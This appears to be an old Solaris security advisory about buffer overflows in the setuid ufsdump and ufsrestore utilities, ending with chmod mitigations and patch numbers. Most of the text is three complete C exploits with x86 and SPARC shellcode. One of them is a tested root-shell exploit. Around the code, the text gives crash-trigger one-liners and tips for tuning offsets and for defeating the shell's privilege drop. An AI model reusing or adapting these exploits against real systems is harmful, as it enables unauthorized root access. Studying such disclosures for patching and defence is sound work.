COMMAND
/usr/lib/fs/ufs/ufsdump (and /usr/lib/fs/ufs/ufsrestore)
SYSTEMS AFFECTED
Solaris 2.5, 2.5.1, 2.6(i386 only)
PROBLEM
Following info is based on Sun Security Advisory. The ufsrestore
utility is used to restore files from backup media created with
the ufsdump command. A vulnerability has been found in ufsrestore
which, if exploited, would permit a user to become root. Exploit
follows. Originally this was found by Seth McGann. Firstly,
/usr/lib/fs/ufs/ufsdump will segfault if passed a device name of
sufficent length. Straight forward overflow. When the shellcode
executes /bin/id, it says the egid=tty. It may be nice to be tty,
even if we can't be root. The second problem,
/usr/lib/fs/ufs/ufsrestore also segfaults when passed a device
name of sufficent length. However, on inspection with gdb it is
evident that once the EIP is overwritten, execution jumps to 0x0.
To test the vulnerability:
/usr/lib/fs/ufs/ufsdump 1 `perl -e 'print "a" x 2000'`
/usr/lib/fs/ufs/ufsrestore xf `perl -e 'print "a" x 2000'`
However, the story doesn't stop there. You will enjoy additional
text that was added by Cheez Whiz with workable root exploit and
additional explainations. However, step by step now. Here's the
exploit for ufsdump:
/* ufsdump.c
* Description: Overflows a buffer to give you EGID=tty.
* At least that's what id reports.
* The running shell thinks its still the user. Maybe I'm
* doing something wrong? At any
* rate, here ya go, have fun.
*
* smm@wpi.edu
* Thanks to: Jesse Schachter for the box, and
* Unknown parties for the shellcode. (probably Aleph1).
*/
#include <stdio.h>
static inline getesp() {
__asm__(" movl %esp,%eax ");
}
main(int argc, char **argv) {
int i,j,buffer,offset;
long unsigned esp;
char unsigned buf[4096];
unsigned char
shellcode[]=
"\x55\x8b\xec\x83\xec\x08\xeb\x50\x33\xc0\xb0\x3b\xeb\x16\xc3"
"\x33\xc0\x40\xeb\x10\xc3\x5e\x33\xdb\x89\x5e\x01\xc6\x46\x05"
"\x07\x88\x7e\x06\xeb\x05\xe8\xec\xff\xff\xff\x9a\xff\xff\xff"
"\xff\x0f\x0f\xc3\x5e\x33\xc0\x89\x76\x08\x88\x46\x07\x89\x46"
"\x0c\x50\x8d\x46\x08\x50\x8b\x46\x08\x50\xe8\xbd\xff\xff\xff"
"\x83\xc4\x0c\x6a\x01\xe8\xba\xff\xff\xff\x83\xc4\x04\xe8\xd4"
"\xff\xff\xff/bin/sh";
buffer=895;
offset=3500;
if (argc>1)buffer=atoi(argv[1]);
if (argc>2)offset=atoi(argv[2]);
for (i=0;i<buffer;i++)
buf[i]=0x41; /* inc ecx */
j=0;
for (i=buffer;i<buffer+strlen(shellcode);i++)
buf[i]=shellcode[j++];
esp=getesp()+offset;
buf[i]=esp & 0xFF;
buf[i+1]=(esp >> 8) & 0xFF;
buf[i+2]=(esp >> 16) & 0xFF;
buf[i+3]=(esp >> 24) & 0xFF;
buf[i+4]=esp & 0xFF;
buf[i+5]=(esp >> 8) & 0xFF;
buf[i+6]=(esp >> 16) & 0xFF;
buf[i+7]=(esp >> 24) & 0xFF;
printf("Offset: 0x%x\n\n",esp);
execl("/usr/lib/fs/ufs/ufsdump","ufsdump","1",buf,NULL);
}
... and here's another that won't work or will. Original author
had a lot of people contact him and tell him that the exploit
either works on all of their machines, or doesn't work at all.
The way he originally wrote it, it jumps into where argv[0] sits
above the stack. Assuming that solaris works the same way as bsd
in this respect (please correct me here), the memory looks like
this:
env strings
argv strings
env pointers
argv pointers
stack
So, the exploit's fake return address was based upon the offset
between a place in the stack, and the first argv[] string. The
problem with this is that if someone has a different number of env
variables defined, the number of env pointers will be higher,
and the accuracy of the guess will be shot. So, you can either
mess with the offset by passing an argument that is a multiple of
8, or you can rewrite it to jump into the stack. (just gdb a core
dump and do x/42 0xefffd000 or somewhere near that (sometimes its
at 0xdfffxxxx on some 2.4 boxes i think) and hit enter until you
find the shellcode).
// ufsrestore solaris 2.4, 2.5, 2.5.1, 2.6 exploit
// by humble
// thanks to plaguez for help
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#define BUF_LENGTH 300
#define EXTRA 100
#define STACK_OFFSET -600
#define SPARC_NOP 0xac15a16e
// normal shell code cept I added a bunch of sll's and add's
// to get rid of a 2f '/' in there (from the sethi 0xbdcda, %l7)
// I don't know sparc assembly so this might be dumb :P
// also added code to do seteuid(0); setuid(0); from erik's buffer
// overrun page
u_char sparc_shellcode[] =
"\x90\x08\x3f\xff\x82\x10\x20\x8d\x91\xd0\x20\x08"
"\x90\x08\x3f\xff\x82\x10\x20\x17\x91\xd0\x20\x08"
"\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e"
"\xae\x10\x2b\xdc\xaf\x2d\xe0\x01\xae\x05\xe0\x01"
"\xaf\x2d\xe0\x01\xae\x05\xe0\x01\xaf\x2d\xe0\x01"
"\xaf\x2d\xe0\x01\xae\x05\xe0\x01\xaf\x2d\xe0\x01"
"\xae\x05\xe0\x01\xaf\x2d\xe0\x01\xaf\x2d\xe0\x01"
"\xae\x05\xe0\x01\xaf\x2d\xe0\x01\xaf\x2d\xe0\x0a"
"\x90\x0b\x80\x0e"
"\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0"
"\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\x91\xd0\x20\x08"
"\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd0\x20\x08";
u_long get_sp(void)
{
__asm__("mov %sp,%i0 \n");
}
void main(int argc, char *argv[])
{
char buf[BUF_LENGTH + EXTRA + 8];
long targ_addr;
u_long *long_p;
u_char *char_p;
int i, code_length = strlen(sparc_shellcode),dso=0,a=0;
if(argc > 1) dso=atoi(argv[1]);
long_p =(u_long *) buf ;
targ_addr = get_sp() - STACK_OFFSET - dso;
for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)
*long_p++ = SPARC_NOP;
char_p = (u_char *) long_p;
for (i = 0; i < code_length; i++)
*char_p++ = sparc_shellcode[i];
long_p = (u_long *) char_p;
for (i = 0; i < EXTRA / sizeof(u_long); i++)
*long_p++ =targ_addr;
printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]\n",
targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET);
printf("hit ctrl-c and then type y\n");
execl("/usr/lib/fs/ufs/ufsrestore", &buf[4],"if", "-",(char *) 0);
perror("execl failed");
}
Seth experienced some difficulties with his exploit and Cheez Whiz
thought he might clarify some of his questions. To start with,
yes, the i386 binary of ufsdump in Solaris 2.6 is indeed
vulnerable; Seth's shell code needs just a little bit more kung fu
to get us a root shell. Just like rdist, ufsdump runs most of
the time with an EUID and UID of you, but retains a saved UID of
root (thanks to its original SUID root nature) which it uses to
toggle its EUID between you and root as needed, but only briefly
and for small sections of code at a time. What does this mean to
you, the enterprising young exploit writer? You must use this
same mechanism to make sure your shell (or whatever else you plan
to do) gets exec'd as root. But there is one other step you must
worry about. The Bourne shell under Solaris performs checks of
its EUID when it runs. If the EUID of the shell is less than 100
and does not match the real UID, the shell drops its privileges
by reverting its EUID back to its real UID. Do you see where this
is leading? In your shell code you must do a seteuid(0) to set
your effective UID to 0 (chances are your EUID was not 0 when the
overflow happened, as is the case with this particular ufsdump
hole), followed by a setuid(0) to fully become root, followed by
your execve() to get your shell. A fully functional exploit is
included at the end. This very same shell code can be used in a
rdist exploit for Solaris 2.6 (i386)
Here's the exploit code. An offset argument of around -500 seems
to work good. The ufsdump error message will spill garbage all
over your TTY, but just tap your enter key a couple of times and
enjoy your root shell.
/**
*** ufodump - i386 Solaris root exploit for /usr/lib/fs/ufs/ufsdump
***
*** Tested and confirmed under Solaris 2.6 i386
***
*** Usage: % ufodump [offset]
***
*** where offset (if present) is the number of bytes to add to the stack
*** pointer to calculate your target return address; try -1000 to 1000 in
*** increments of 100 for starters. Thanks go to Seth McGann for the
*** original bug report and a preliminary exploit.
***
*** Cheez Whiz
*** cheezbeast@hotmail.com
***
*** December 30, 1998
**/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define BUFLEN 1100
#define NOP 0x90
char shell[] =
/* 0 */ "\xeb\x48" /* jmp springboard */
/* syscall: */
/* 2 */ "\x9a\xff\xff\xff\xff\x07\xff" /* lcall 0x7,0x0 */
/* 9 */ "\xc3" /* ret */
/* start: */
/* 10 */ "\x5e" /* popl %esi */
/* 11 */ "\x31\xc0" /* xor %eax,%eax */
/* 13 */ "\x89\x46\xb4" /* movl %eax,-0x4c(%esi) */
/* 16 */ "\x88\x46\xb9" /* movb %al,-0x47(%esi) */
/* 19 */ "\x88\x46\x07" /* movb %al,0x7(%esi) */
/* 22 */ "\x89\x46\x0c" /* movl %eax,0xc(%esi) */
/* seteuid: */
/* 25 */ "\x31\xc0" /* xor %eax,%eax */
/* 27 */ "\x50" /* pushl %eax */
/* 28 */ "\xb0\x8d" /* movb $0x8d,%al */
/* 30 */ "\xe8\xdf\xff\xff\xff" /* call syscall */
/* 35 */ "\x83\xc4\x04" /* addl $0x4,%esp */
/* setuid: */
/* 38 */ "\x31\xc0" /* xor %eax,%eax */
/* 40 */ "\x50" /* pushl %eax */
/* 41 */ "\xb0\x17" /* movb $0x17,%al */
/* 43 */ "\xe8\xd2\xff\xff\xff" /* call syscall */
/* 48 */ "\x83\xc4\x04" /* addl $0x4,%esp */
/* execve: */
/* 51 */ "\x31\xc0" /* xor %eax,%eax */
/* 53 */ "\x50" /* pushl %eax */
/* 54 */ "\x8d\x5e\x08" /* leal 0x8(%esi),%ebx */
/* 57 */ "\x53" /* pushl %ebx */
/* 58 */ "\x8d\x1e" /* leal (%esi),%ebx */
/* 60 */ "\x89\x5e\x08" /* movl %ebx,0x8(%esi) */
/* 63 */ "\x53" /* pushl %ebx */
/* 64 */ "\xb0\x3b" /* movb $0x3b,%al */
/* 66 */ "\xe8\xbb\xff\xff\xff" /* call syscall */
/* 71 */ "\x83\xc4\x0c" /* addl $0xc,%esp */
/* springboard: */
/* 74 */ "\xe8\xbb\xff\xff\xff" /* call start */
/* data: */
/* 79 */ "\x2f\x62\x69\x6e\x2f\x73\x68\xff" /* DATA */
/* 87 */ "\xff\xff\xff\xff" /* DATA */
/* 91 */ "\xff\xff\xff\xff"; /* DATA */
char buf[BUFLEN];
unsigned long int nop, esp;
long int offset = 0;
unsigned long int
get_esp()
{
__asm__("movl %esp,%eax");
}
void
main (int argc, char *argv[])
{
int i;
if (argc > 1)
offset = strtol(argv[1], NULL, 0);
if (argc > 2)
nop = strtoul(argv[2], NULL, 0);
else
nop = 800;
esp = get_esp();
memset(buf, NOP, BUFLEN);
memcpy(buf+nop, shell, strlen(shell));
for (i = nop+strlen(shell); i < BUFLEN-4; i += 4)
*((int *) &buf[i]) = esp+offset;
printf("jumping to 0x%08x (0x%08x offset %d) [nop %d]\n",
esp+offset, esp, offset, nop);
execl("/usr/lib/fs/ufs/ufsdump", "ufsdump", "1", buf, NULL);
printf("exec failed!\n");
return;
}
SOLUTION
Patches 105722-01 and 105724-01 don't address this vulnerability.
Fix for now:
chmod ug-s /usr/lib/fs/ufs/ufsdump
chmod u-s /usr/lib/fs/ufs/ufsrestore
The following patches are available in relation to the above
problem (NOTE: ONE FOR 5.5.1 DOESN'T SEEM TO WORK AT ALL!!!!!):
SunOS Patch ID
----- --------
SunOS 5.5.1 104490-05
SunOS 5.5.1_x86 104491-04
SunOS 5.5 103261-06
SunOS 5.5_x86 103262-06
As for 2.6 i286 exploit, Sun reseolved these issues in 2.7 (in
2.7's first jumbo patch). Also, patch for 2.7 release is
available:
106793-01 SPARC
106794-01 x86
There is a cut off date for fixes well before the CD's are
actually cut to allow full system testing and many other
distribution related things to happen. The fixes for ufsdump
missed that cut off date and were thus released as a patch just
after Solaris 7. So, depending on your CD ship date, you may need
that patch or not.